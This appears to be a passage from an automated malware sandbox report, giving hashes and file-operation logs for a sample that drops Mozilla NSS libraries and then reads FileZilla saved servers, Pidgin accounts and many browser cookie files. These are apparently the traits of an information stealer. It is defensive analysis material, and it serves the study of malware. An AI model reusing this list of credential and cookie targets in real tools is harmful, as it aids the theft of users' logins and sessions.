SSDeep: 96:byNQIoYnMvqyWx7pnqH+w/fVIrECuKdPraBdUDBBVWqwmKT/WTPepeWbtxYB+tCX:blkMvuzzTP6btWutle 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\1201837420540609814.tmp 100.00 KB MD5: 3c72a569901a8a45018d9d7c542a1857
SHA1: 9bb7a9a87b5a8b7c4c556b8271d4af0373911389
SHA256: 06bb2bfe3a0612482499e0b0f175b85b66c9f4d32e6b700d740ea801ea9c764e
SSDeep: 96:rZLJLdogEU+08l50etKCpjjJwCJA+ETzgcc+8EyZ/cCzwwC+AbIN0NAm:tJdogD+0O5rKC5ti5yDe 		False
...
Host Behavior
COM (1)
»
Operation Class Interface Additional Information Success Count Logfile
Create 3C374A40-BAE4-11CF-BF7D-00AA006946EE 00000000-0000-0000-C000-000000000046 cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER True 1
Fn
File (343)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-console-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-datetime-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-debug-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-errorhandling-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l1-2-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l2-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-handle-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-heap-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-interlocked-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-libraryloader-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-localization-l1-2-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-memory-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-namedpipe-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processenvironment-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processthreads-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processthreads-l1-1-1.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-profile-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-rtlsupport-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-string-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-synch-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-synch-l1-2-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-sysinfo-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-timezone-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-util-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-conio-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-convert-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-environment-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-filesystem-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-heap-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-locale-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-math-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-multibyte-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-private-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-process-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-runtime-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-stdio-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-string-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-time-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-utility-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/freebl3.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/mozglue.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/msvcp140.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/nss3.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/nssdbm3.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/softokn3.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/ucrtbase.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/vcruntime140.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\11837313456926651835.tmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\filezilla\recentservers.xml desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\filezilla\recentservers.xml desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\.purple\accounts.xml desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\.purple\accounts.xml desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[3].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[4].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Microsoft\Windows\INetCache\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Microsoft\Windows\INetCache\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\INetCookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\INetCookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!002\MicrosoftEdge\Cookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!002\MicrosoftEdge\Cookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 2
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\119917831523496827418.tmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
